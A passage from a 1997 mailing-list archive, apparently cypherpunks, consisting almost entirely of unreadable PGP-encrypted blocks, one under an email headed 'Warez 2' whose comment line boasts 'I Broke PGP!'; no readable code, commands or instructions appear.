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
=lEYr
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:04:42 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:04:42 +0800
Subject: Warez 2
Message-ID: <199712180757.XAA15681@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7P31J6D34vXXVUzj3uZPcAwqzY1mR6HLTgG8Z7Yzje56q5nm
oEha7Wt9PFj4vtE0ZTt9x4avoIe+kv9Sj6en2/IEnhRyiZy+fz2lPh7YL+gvmRry
PXjuEf7DM/RRAMU86LCqkmz87RpfKRyQBQ1PW3RK3kwRT+SnFlpjJ1GYI8Wjz9q1
EBBozvsY+h5D1Uxy7VFmwi447m/F5pSLTD7WAxUcH+LjFD0eHgQZiqyE6xulIvZ3
asp+hYG17pPrMmzK5dZZbfV/j3KgPKlKzdlB6Lf25y4Mr4+K50Si25P/cEIWT0O5
RijXGubrYTEyMfuv65R2kG7cvwzdEYRDPRm1w35mFmPIRHzMU1TDeVccJmXQV/rc
aeSDYeXH6T/fc/oNOUvgffKl+zlU+UyKAG7TdF+HYpVcytgn38WunqwrM1oG9nqw
5HXGIbSxTP4v/iq6RZbSEE/58E0yjgS8cPPJW8n+W30q4WiSkciPg3WW9F0cs/NC
Er10MenQsOBwkm/CX2QhFt9Abb/nERm5n+OBrLO7pt1BEbX44isHYe6CR/g1NEJR
tw185XNxDFpGmoFlHkyagrhO5vMTXuEOw148O6JukW8JtDyIUVZBvMJv01fMaxr9
ETK6KuO89WSh9pkEFUEWpV8tevyg11+X0XFB0wQ5P+/7SMt29S9bsN8sSKeQfLcp
1SO9lSdro2OS6Zlq4MqYfZEx6WVFILoCN8w0kZd6As8eMQs0Hra1oPizvj5YHUQF
GtUBZ64YmWUvHiM4XUQcjSXSfmmE6STet4n+Ap7ADrf/HZunM8QS38HMYvIUUPiJ
juzKid5/Bt6n/1HyeCnqji0pm0Xpx0AxidSkCvxSyjHB+Nmkw1Yj7Z3cK/WCpN0p
wFK31J35gDYT9QsuwGP40+TV9ZOnpgoEe3JJwn3GhCJdB0sYT/9kKyjhCbt0ktFc
R+88Na3qf6a49W5q8BIjVXomG4RWUoU/iIsiNyUpV5czSy4oMMHuOOWrUn5Ul5Ao
9TqJTZhpdRODWiMli3HY4R+RLEmAODux9vfh+GUagbS+tkPy+5suPxSi6LVy/q4x
OcdW1fmI2qsl95JCkhnKJsthSYi2Gau/3L/iAtNlFvcE69QHdsSJaDAfiTvHplko
74jzN1fYkNO/4LiPzl5OQJAveeZDKo4r+FVWn077DTZiB4vyV+YcU7RTpf1qMSHd
OFuViJ1dP90CLvp0BXIOz7/W2U4FtvD2S452jpEMC0o+i0ngktoRhgJjuCb7yQmo
p3JdCgrvhBT+Kfqo6R17fx93kBX3VaA1X6hPAGz52nQnEONkPNCR3He3sjZd1t+R
4mQJ68NpQoMvYJUSFluP+xBc5+XL87H0nmm56tkX1jIufIOppI/IKJL2MRBICDUN
Ot+Vdtn/+kcK8Lxx9OtMIrKJ5ezbWmcCO4sqJlHYfFA3JoNVDRmMXotn4KO4cm4L
079JI3sFP4MonpntESxotIFEJFjistceXdkKi5uqYFU0yi2Yo/oqQZZk05ZsSiW+
6WdOotzLsM94rF7+Xu39vGzVE69GIWDiDIJtB6Z9Zc6w4Yi/fZUiXoxd0fW3glt8
Y/Hzclu/hAc1DlxWRx9BPBb7zWZSnLD2IoRfOJnvK+nYVMzPOgr4M9t6oHt7wp9t
jCU2oO+KfrxB+/556P1QBMLs1ieWKyimsYHv/wL1jY50Q372SINXCTCuWiGISG0u
xqSYaF9ByNLHf6fxaxO3fmXALuwo+mo5AoDiL85uj13RogRGNo3rveXhZnx3neKj
IXJvjE3Eh5W7HgaOWMrdAyg7H9WULi9OZaMUIeirkee3tGjzzbvPS3m6jjcJsgGi
nsbD2AFbJSJGRhD+6k+Vq/aG6qUSg3HWAhj2fXhHJiJSA/R48DWXS6DbSV/07ONq
09geupU7zpe0GJ0qTFyvj0HhUJLhSm4jQN/HBrQfT/HI/3/EZPxupKi2gr23BhQY
L0NKqcLvaEravKEkmaHilKdzvOCODE6iPG3L/KLihXn+2dx22kz0rdlZgh+wq3Rb
omqkGNXBMmMR/fFWsfW1V2PhxvyUYeNNi+/CBgGRNVGCOuT9GIWFW2joKbFITezH
N+A8RkwLHQ6zc+rTROrEBk7ZsWyvu9wSUOJpFzKqAj5KFcJuEYTnvqvsCfFPSGJ+
DHGyMJH6Z6rPWGhAouJ/PCaxOpBcQTsTE6i1/hs/3BJRys7Own0F+6ASVRqpbaIu
+9jTdz84jjqanevy70mrJvGykApKE4vbe+EeZdkyFgs7xUsVWh8OhlWtjWW78Wr9
omC+t5JBi6GwlVJlIPH3zS6lrvpupB1usnS62dAYBmmVGuRQahtRppSZAPKgW2cF
cCcQIvRnq6yqJBwXG2ODsi1GwUnSek4ZopbzX/2eUc82U+Ue6S+rVX/zO+208RA+
zJbVCdsxm4U/reEFV8ozDbo74ixRRgBJeZH2AX8rEuA07qR0cg7PtiJ91JlUzB6s
yGm7L/ddge9QwgZgcnnYtYjkzWP6euaxrbNERTllWMdhDXmLEjP9es39cAMph/JQ
fp5fxgwx8U/GZR7HPEOu/bOc/VLV67LeMh2mkZql0n4rpE5C1Lq2OZgvGRy8alTt
3z7Yn5w3UwupQrVGWl72WwUpr4FHEN+Qs3wQlB5jfxf1SABI0i9aijhngZmLMsTI
N54+1CqKrdC0EXfl4usBd4dv3hG3FmaJMMKkDEKdbj0JIqE87685NK4cEHzB5Vvk
qsIluyJFjmOzLOTNir0McRmeT8D+DdnjZzv0g7ieYoum3xVRc43FVYKDA7BP1GoR
iOxGJTNn1kSzCnlRvUvjR97hgQB5LUd20C+HkCVOLKjpAXPlDODtr9z6lBccYT1H
EpOE016klgxDtjgrd8S4/4CU4iFNcf0gFgRv90LoIRn6bqbZcGMuRSRpakXYqciz
VvLQoYyR9onY/5GzuW3ABCWcy9KXnxNaVBMJNhoUvSrmJC4mF8iClUSuqoePyDp2
pqdC+xa+mD1u7xll7ss0IbF5C32dlvB2ilGX7ZheGEefodHrc3KU4N/Zo3HGqxop
xWTo0T/NFgA1An3i6qK6sT4b0+7e1NgO4EHm8R9lGatqRo/fOrRTBBX05Cup8e0n
vkRGAkoynzkqHIYj0kswdxVryrsZ5+4d9E2a3uPnBPtjyO6BUJ8Dbv6htrrN6NC0
1dUzquYMqV4yLfweO8xezo4XMWWlFOXjSRuwx3z3avJLFBO10ZHB4SnKBIxnPqbb
dqnLEz9zW3V761cIwbwRe3PHvBMZCw67EdYGZ94pwT+lzwfO0Ef+qpTnQVvBSVsp
eH5KHJ+unO/jrmLdoHxkE8BSBsO/lzQMtENxL5vhRxrSUt/F4kwhG0e8DOv0o99d
UOyRrzdea8AdSihTOgSo6xNkqWgaKnihFwykIOxlBUEqNONF9rap654c1jXCWpH6
BIvvmSuYB3wXUkHaCLcl/VK7B03OlwK0s/6XgsOHYEdZU/3swI1NeP2BEOwavuRa
Fk3chBl3H4E/yuQzp6Av1EnYqGgd3kVsWFccUpaYtGHUXkY3Y1c20Jn9e9RCmuUs
2llYyra4VyL3OvmNiQw4fml7BYMUuCUQ1PFB9mO2kw1mvHdCjk9KjJXoy6fcAjDh
dfXW6oY6hLRFXekIfzzYp0ZApH4yVTRXuT5btPAI62kxql+9Rnbcw+Annip3bAIT
iRBHt2z9Es1XwsH1Be2VRHlP93y4BRjp93cZx+5mevVV4CUCE9TsrMgMCSeAyqBF
6kkozxtRO63iaPX1bnuTi6ssbb1pfE2xysq/wwrJH4+ywMURDnGa21DM0BcqY9mF
Xdu/751UiNBPO7k+Ti/2o9ix7oW5vyJ5RyfNRbMmM15vQ1YIcMI9/rBURSLrEoHd
5DFEq6gmmOp4pR76GWh1lxfGYOUe54g1kWOQLEW2hn+6kVf+vmzaM8jWJr3jvhOq
y5fELnX7kdvTqmGzG2yvBJWCGwFSDCDdtrclextL2cs8yMhw8pVJFQieG95s4QHA
Lwfg/6JRJHC8A1y0Bn5QHoNu7JbH5uh0zQhcvDKssDIg9Wy339ptEcDRkCCLL1Zp
Pk/+sjBl7KT6V+BzX5DuN7AKAL6Mfravw9QgsiiQGrs8mZsBMxB0tH51e3nRPO7A
Frimatw2hpjacaBnrHas12HMQoi0Ao+CTv6KM9/CJ1WzgfXa9hA+r1lbrwgF+B/a
rkukmCTozzi4Ym1a8Lvc9MzF8vTcbjIRdp+XMVU2SOGUXXWh5CTvksPJMpAM4TnO
U2WwStp1sINj2XWwKSt1AENIP3TjBknslpwD2RNE7rmI6sVGMJoEjUFgwAWliqJg
yJ/YmzVsBKgaSt+7Hs/Y8mgUp+rX6bxr4Shq81Rq/RGr+yflPOzKzl5ccCGF2nAT
a0AfawzU9QjxZsLee4XUY3yckui6zECVc+06xN35HE/OuMHe66sZshJVaKOHX+sK
TbN6xaFzLmHcHP6yjVNCYb1bGzhDobxGfDEDW4vzqQmixmoVku2UnZxIqxq/ok6j
ZORbGGcGVObBYUOhJ5AWuSMZc8mzv/XUdE/5Eo6hnevxbzs0FMi84O0tmvZinmxB
75jEHntPKembT5DRFV4uCCdj5Q69Qouw0AdEr0vvKJTcJkMD83Bv4tM2T912aZwm
UAaRdNiS+GURm8XVjILMJve9yOp7HhvH/NKbPRKZ4jF65TxKmJTPsh3yigIrFQdu
h3I0FM3T9i+qFm6PnXykmYr2gaQJRRxEa6aRjOz2dnBSaldWPNYINntHmHiVKmv6
zT17PigMbSFPez0KRHyHKmNWYazvAEuYu2Q59++bHe41d9AM+zuhwuDve/kkyFpd
hj/tPVlReeKDBeL1MF0vmUvnXBlmX3J+vJ2XSvnhq22U832LjMmObtc9TComjlUL
EtruoiyCbJt84B0qBodsPnEFjzlidHZoTiAni2OnGeaRGZ0YzfUcMdpG6XpKQytm
2U0u50UaFdxx50nkJnB499hQbsOBTBlxILld0REUvARg96wx9Da1jKT3iNgBi+nW
mfFbYjZ9e3T3c8bg3w8eZs1oGx4awqHsbs7ovEyYEW3SBo4lfQ9aqgY7LW2egena
0FdAr2w0FQ4fmHa8u3b8m7lhtFaC1Q4s1aEuTUuSBG1mi6lcp/Shzgq/LMEnyTi7
gl/CYe3wESN8GhbtFDtXsBshLrJ/Lf61JJIuI30003ieh58hkukQzvNoNb8U1mhz
e7wy4BFprX/CAK7g2EH8jDMbTcP7ajMjFYu/z3I5yWqnuLhSF4dyjF62atZ4jTKi
zMTN7J8KZUyOt0rK1nTWhCUPsfcQkkwaieuxRTWNECU9H3WH0S8V7XMcMr88ekUz
91TmsCsQFnFQyNtWvKisFVxu0N2OVaX+3tf3OfVIKMyLx2Owf/L58baMbjs170AN
WPNIw2GV6GvtVQSCTlcz3lQ+RW0aHzkf/KcgFjDslOeVsTPqGakwebDLpalC144Z
wGTx4d+OW2OJ+XljshDycgyBi1kxKB3dsZfNYyn6SScEemNYUMCzEoIfWvQY/hBR
eOB4trl1BI89gFGLyYUrSiXbWavQcqFl/kL1hLCPQnvCYPg5HywMc1J4MEtFLynQ
/cSJswDaqHAYpkRjk0ar84552tsUEbSrbxvhI0L/5XjaJP+rrivfKhHGyUEiR4by
aaewVxdi+4l6ep9PsV7cwwTohmZJTBpozMwZFDjr/Rv5q1az73FmM+qev21/E4rP
GeFZ4/8RaNsByfB7LPO/vSZSiXLtHmYMeWqwJjuXW65ITPOe8clyX4NIbrHG0+h4
osoR8qOGqOC6CQv6OiyuAOER4cLqmjGbw+j6fk+kIGPbrbmYZ7f9KT+P2xhU7Y0F
K0PsevkPEFXWae3alB9ZXlW/uPIcwEtqMlT1FxJdCxpi7+7o7TcDcmUfjh6XvrcZ
FS0v9gA7v0BqOf9Gc6b9Gp8o7xFMmmDvUeIUjS39dKEtgOCqf3xt2m4cBRgRWZZf
str40qOx2CrNZvTtDtTKQvZIX8seDu2Y+PTHxVybUSOYbdVvqOyKOzw63bXFqQhL
4iOViNbzIWMe0OWvhyVbM+cyWyBNBH02dbuDBNVyKKL3qvLjBpYNBZwtJSmn6CYt
ITQAnh4wDIEOkIe8uEiDGuOrl4J9o+kLjNUmhkBmsFSTMTeIyjpFrl/WDotZLavh
1S5uSaZ5Tf4dbmY0HDKbVouXyr6vkyplqLIKob4X4M3guvQsEHedsaU+PWV6Q5RG
R3BUQ2vBhlgCQo6FVN+n1Ip0vQSjPwcBV19CkDtBfwImdjr6N//UJsV0DaKTsvdE
jUPcnUZTuR181S6oeIxU5eaJXvHCurPkK1vQ4+i37IRLxU3buTqxdUQ3sjJEV+wc
AYz12nlkFFVv0mLRUXUdi23NpSFITtpJJrX2kyZ/unIU2HFFlVHgmU3mNKR0B9th
UsbNg0BF4DD0TMRxsblJehy+DB/kKyS9SKedLGqETdxZG/wuK66JBxz2hv4W3SNn
W1Fxq4zJ7QWDZci8U0WwEOCataEB1fn0u9bAhxqGmSOAltA/Zsa7jxq46LZnKyX1
m2I5b9fXuyG+xO9aYsKMOitIQTgn/Dz06N244hpJYgx8dNGppqsV1IqqOg/OnThG
bj0QQr6MHHlveoG09RdBhE96xNdlotDt+7U8oxW3YDzrzwOb228r8eYSFZrzQRr0
2Etp5SOoiriG8T33kS+qwT9ABS/whDfZkDOBRWIKfokuihWPuEy2W0vHfiFiTRvN
sjIAYfwpdkTSH/mhQmqo8bbOCUUZUXWSOO/oHzUwaRgHqBYjkhZsSFDHfnuSNJ35
E3W6W41tgS9VS3MSiwhOFvYUbfUxU1of9Ogw+WEJWizJQhjikHVds+2c3QUVbXZW
u8oOjyCGUOmX9CdSelqsx8pQ/y8zrhgPPrDAQNk0NaUVoZU5Ffqdy9wKfeL/Sz/U
6vgLnyVU5epXiQ8GA4QJ1uIQ8husybX8xVhC1Xw9SeahDDnxaxtyIgOS8XnKv+jV
IUXZKr0U93sllX5D4LyZrMx2JCrUf719C4ksJovPaLW5qYeZwBGxtP7exsqTn3Nx
zAn6SsoRnFD1ullda0iX5yb5OKwcozciVYo1nCKfsBO++sB7w8iUQ34xrF7P4I7h
zEozI8XPRqcuBafbKIDPir0ASBcIC9X+F+jCy83JYkpy2nj2f+jK3dZhQpb29lqz
WLtkw+0KmVoqmkABj11hJPv5yUEeDQ+TIJrb9kiJtAgD+XH42RdCUP/pKdbhRh58
j5dMuybIrNByOvwnD1pqHHdKPcYhFw9EwfMwVaMjja+og6Ftu+IoYPvefeSS2mht
MGYFV2HL4XFLeZ9t7CUG6+wF9b3TyNJr1HEeYJGLGjM2krZERWM6jXbWZ4R4IuJn
7C4KadYOvq5YegFKtUv1rbyLAhL5cSBTO8Hbb57eN9kA5HBB6KCueelXmOrzblNa
NdYrEh9kt+QJvtrSCH6B1ZjjRf4uEyiBdZwLedAvjlzSunY5amS43kzwbGEZNx/5
GpXHs+YSHnPUUw6Ln2AjS7b3jaVXSpTsMssULnQsi7GvtB2Rc726gns2o+i6SB/1
fujZQK6PMJ8mESGWOAi/HemXHvSTMGWczvM5urs7ax531kdcsEhaiuYkH2hX2skT
C0bgEeI+SmpMaIV4vbz7aSohh8SR1mEyh5PvdKmO2QaU1HfZN8w4et+2UPZ9c4sw
U2z/5H8kOucXIXRtA1CY5iT8H7yTmTcGOOfOdVFfBnq3O46tWbZLB/xB2QpuQSH+
6VGDrCj1Dzyupk6P302JIJ/xR6MbSACXYA+FFzk21BWpfFMy6r9i3sUvJEz8Atqn
442Ud5857SY7EXjFn8Uoh3IuWmp4EL6+n4BW6XsY3NwSYCpRDrQ9uPLadVS8vIQZ
acI3QdVib//N8J2ZEWW3bkQ+hfVrhAxmJCIrWENwbP8GwLAQdLX9iPedUOViHEnl
0weKSuinILDkzy6rJWQCGtrXxYAxmU4pqoBFiawZvSkGlp95BdckFT+GJCmzkors
QsLfD1gwsiitJFlWAPJR2QUFgQYdAMA14yGol3QeNfZEpbEzq9/eM44aMqSFvHMM
i0nyy6ivsSC9AvBWuRK4+QYTNMQ9P56VpG1czhTahvs613KjSFewHSy2kqV7307v
e3QmJteT/aWlHcHSob9o/gim2RkoUXmZyO60pyFEYiEfW/7o2oay6QVfFvd68fKk
E3F8pzsHtUTz9c623i7NjW7pK6epceVKftvamxpNTTiHHiF+YAIizW4flMacFIW2
D4D64HCJx1kYhFQkyusmf96t/6dmfOy6uBVojPcSLDULDk9fmZIynwZiQ2oHQipg
+M0GB/IDWQXFC4kbCFMcbHPAsYG5rJOhDz+Osw1rqBhASpSHwTXrjHxWuL5Clq1r
Hgi8lqnk7BUrdG73RMXxKCNCLS7nWbn46F2XX2KyU5Do0JYqleUMd7N1zruYdkYm
TJXRJoYvGOws3m25FeG17qeMzjKEge0O6RShe05zOEcpZNOoY+kpF6+35f3wYJ2/
qlna37KVGXaNEsvwh6Jpt9uvDSm1DLJCg/ftLkgD621z5GkAoYxCL9iPCcH9C+Ug
B3xxE1JGKxkfrO8cuvXyheOUeRoIpWdaiOrMxjbw2PpaGoxO1/u102SpwVKPap8g
FSrjTh02kZLNHyJ9Ekq5PJbD8jrUJyfJARXmqzvDbGR65DqkFpHeXK519TY6kr1x
LNOIbtUODsmu+qufiHTEm5ImW6fOr4BWhUJ2+BrkGK9abMuojKEl1jzr/2hwKgiW
9oV/9CejUpUQk/U/cwUO/OuX6xzz3ce2xvOidj1F0uxOqQlV4NmnrCH1IBfrXVSn
778e6qh0AniP89C/H7WVX+6G3D50zEZTbSE66iSWAjIYgO01yqOFmX7WoaLpB/wU
FtB0USQ0TylNK9DqwMRagpabDoz5vexeBnZ4sOxCppo03AvZUbwvCJMmptJWKbmW
fOhUk1cJ1sYIh0OOvYdSQmQhgSejcfq+bnHcq18/BJZ0ojJMzve15riSX1M7xGZK
cIciOeEf/iM6k7CxZsu4TUxnVLi/GkinnSJkGijZk5hC9ZfCm2bmUdeRfhXfIshp
KoRWd77Z8gDHPV36vBiMYQf+exPbtN0/qu11ObE8eZz1H6XnjWRCHYRRSJYkzJbe
sv8E5VhJIeXoljsSQVkqRXtlSIMvkLOxLxYE8omfocbWDjnSuGwBDFBAVsDH/vfg
d54gl0fmZXo9Gyutp4DtrA3mETzYXPNpVzCtI1SDfqH4P8r64w2qLdlClNCZDxpz
xJJPhOf+eNgsNkn1+lAG/bKD7y1TsnZr3LNooYhO2AxerqsFPe5kqjb+p+ORCdsb
l2I07dpZSXEQkART2WwsDKUGjakZq9OyZjqnRqgGd6ltxcqyVESkAbA9zT402s4Y
IyRBer+0cMsHxIZcLeZEpCngzpllQU2WKTW5SsA0nfnMv1tm+hj9lWxjEOnjtBTj
a8y6Z+iAqoVHEYZ7LmE6BnJP/DzqEhCWxpcTd6F6dGs+13p11oFeRZPkhZa3rsWH
WTUqmg2oEpeyGObrJ+rBM5rrLHP6DzUQcV4zdS8UItWAoJj4sPBJr5O6GKaoiCDh
+Z7TzR2m0zneKoYUJAb6nPNEQVtE0Z/peKjb8p5t74zQkFBKFq9+eBQuEb/r7gzP
3MLeUhkRj+ToZTLaO9nAxrYlE3+v2N4Wmw1v6OxjelJ98Svby4/I3IEfN+riuNxo
MK87laHOCE4YOQxqXYj8gsz5R/fZNNHmyymr/cDmxjqhxfs+cPO9CwKXrj0aCXxF
Megia0e932SVKsR6DphBDEQiLU/KF5iKq6G5crx6sXQUCTtp0iEQb+pFwrhvfS3a
hDw6auqv914HXn1U7lKuk1lFTfhe+4EPrUxGV9li54vPOkm3dbq+LHmLGApLJxNO
It2s4WhgTVoAK+OogDm+blm56EBei7azfq6TuZ13COscAVCGhDtRJvdaRWz6KMJy
jrsWekomGOAlGk6C2X2XM+OCkvae4laEpc0r4IFYaP4eHUk8uCGKIjhr16RxKG1Z
JcxVqTK8NLY5fQ7e5dtIh35V7lQtzC/TpuNExO8GdZsZDqzQtQL9QAV15TmklJot
pf34gq7uCAdAGqmWAMc7GAiIwCEu42FVAwQnUmEjMDqk3wkN29zuAvowXo7HpreZ
6LFmsjbiYZTwImdg2B+E2NsXNvd4IEYtcKSP7B9ryABrE9iRU1ahHHeZSvjPb7R7
ZICDMYn1vwbqvahml7+WlIezqJI9p8+Gw6jEdcTrnrqAEZpvgBnaYuXuBRFa9GYR
M7uWm+lKWdUynaTGnWQT0tQShaYvkAf0NhHJADjjFbSZUgjXooMs4H0TRRNC2TWP
fKnLKmFRJm+1eXcH7ruXuJbRdzpy4YmGyQOfVUoQH+sUszmhi4OzMrBP4VljtTU/
G5Y/Q+Fn1oNOAYv8xRuauPl1x8SlvGC43J5nG2XaRhA7scxgq7DnFxQFRG+SWPS6
MXXS2nL951QT/S/Ai/aktWVm6frWr2QsUVFyu2yYhSxOJB3F3CbKefJkSGB4KN9t
tqPtxI0PawdyNsgUD4WIxd9rX/lnKFBm6a+K+8xYxLeOUA28Y00voD9MAjo57Ch0
6X250pZdaqu2YDGqufBASfraMpIjL1Pz3zb1IjeCKi03RcQ6gnf2PHBH1SkukvF6
A597Vdht19VOJojbx2g8QFGORs8geHZ6zIjYnut1Y0X+iOkqTm4lPBxsx5ufSbSQ
gb1Vc14yqF4TrZlPXO1NPlPXG2IKuuqUx4CzZKbIkFAeqnhFEyW438U9jLMZN/W9
t2+bXqgQawSOA7HskStpq/XFK8k9mD6R4SBCorefL4xk/Mu2k56EIN5w1QQMb+yj
8NEy0rWbtFbXNb9QgyXa1AXh5YZlBIte3rK6fEYfawtsnxPs25GG4gKaGiNHmUK+
O4/DwTIhQXFieyQm4qVAzpXEzYIaoK/aREjn49/ux4ZPuiSC2nc4K1Wj6ODIBD5C
yalur1qDEPVVuzvjiOUtUhYv+wiPVnRhmtgZX67h+X2b0RwiaYxDubwBklP3CpDD
XRH6/ZJGynJrF1J1xBdEZVXSPlo6ViJ2zWrQFmp63/NiTTyiJ+hAseAVG7aJehN+
pEUGJBHu1S7ekOVvHFCYI2M/4RRMy0V5eL9cAuw0p3WKwycJRi3/P+Z5Ry9q58/M
iBOwGP5bpKAfW3D9AP6PIiA3T5sj+JPeGqsP20lxly/gDobsUOBRf4OHFL7ADAx3
PRBVaIs2aFhT2PD5wEWlxoEH0rc0CEZ17OXLyFNrip5JHeMmMFca1/knLW/XUd9j
bfQdr6qV0Td3fNIdTWNvZK6enaO44s2yoejHIS756K9iHxQSh96KoQkLz04IFs0d
5fSv9LLq7St89B//16pdjQLD2pRarHl4u3J4ju7c/LjesOC/UriEhDUPBhM9G8rF
Ez1VcJONt4+cQxmWcgUqXvBLsDTjuwAOqaCn0UBlOiPJVaNmgbQp/Hs/ao8caMJD
IiPKQ6Rh97cyDAKO49A4sT3xZOk8QHzCcrRj+2aBmy5oCZp1f3uPmZT6LwOjDb0D
L37giKwbS9eJ1/kSV4xpsF7WPqG6iy/MZ3YzozbHqNz33WQG/k6T0IMwBEe4kESS
gzvRyxctQREvb8mTYgwFGWY+DA8MQ4/c+RyS8bpL4/Y6FcOwuLO4nc8HVlX2gE81
5prEwhFwGkrxFBhAMRtYgijF4oY/VrrBa+TWs92GFt9nOQpMqVorCENDqSzFdRV3
2eda2llKl+o+qBJBdK9CP90VySGNNqsTG2T1DRe3Fg4SFpiVqD4k8vX7im2r+Sj6
ZSRKSi2MMcC8ID1UfMrntNJgV9hzRsL6S0S9b1xlWxoX5MgSMyNTvcNKEjBTErzs
2Rl4g9p7PBy0eU150I62h3Nyj7Ewiz0HoMLffxsEO5cl/KGOPCOfsqNwGDppe2Tt
ZH51oaGxM0VEZOWhtwnbLmMWklHFJzyhd8UtI2VBJ6kAPGJJoiFzg58tf1jOTtL7
k59OUT6K6ZjgDaRYDzynZC8hT9szxSmTgSajqblW2YN0JbU5+5YOyLQaDvTBwwDh
dP1E7Ggfwg3FHv1aI3WuuPjxs+SgJoGgPzPktXrzAi22GCG1R4ofURqF+/c4TDC3
pPaqPoCE7ieoGsgkF0T48l35dy232NNuNJa/4sOgbba9wKXfDSsDubxfhfY2Trg8
Gi+joCtVGYis0tFcL5u7QPdju1O/5COtBMa0DaiucFY7rvOtVcKOe+NMJ+HOS0UN
5Gu20p/Pw9OR1TYqwk30Ge34XlBJqXMcBe/66K0TMkna/0SA26ENnxlS0CxuW8BV
pJO69/KrIJ3C7mCreuzpDtCvcZwctr4yK1ev+mVIYMpv6emUQQ2X1dO3eCwa0dJL
bqeXPA0I41GIAMp2NM1WCq1l1Duwa8ChI1mzkBoHBle5c6A8WM8WCkA0ZyGmD+6C
Lr8s5oXxDNIsMa1bdUz6wCQT0vvjqhzCdSHawpByVTkqpCqHxsqUPmjk0g5yPsom
hkH5eznvIPd3r0tCSZLAZuyI5nZG6IQiw5eqstJs6Jls/XbppgxWPvti400B8nop
4PDW2VLt8icPaqyT4LaIZomZ8rLDV+XILc7BYaqasKqRAguu0GiCI7BbdISeWXpg
sdF9yU7Oc8ELshN0hMEP0qwJJpQ4QdTmTcxzrmKF5ijrSvbx5UW+ywFzHjfBCmXP
J8+CV3/b7nxvKN5yzqVRK5b8wCG5wBRCbwQPtqwNEDEmUwnSjBnR5uQDa0WjV7vM
FB/POsaFJ2ItOJiS6IfC9nbDEHsWUka8hSZJGTQK42M4LMqm8sKSod3EJxmTh0bP
49zWetd7den0mt0m/258FGmHoQDT7HwFgUu7H/taKfhKscvNs5d8LaRHLnCltYgg
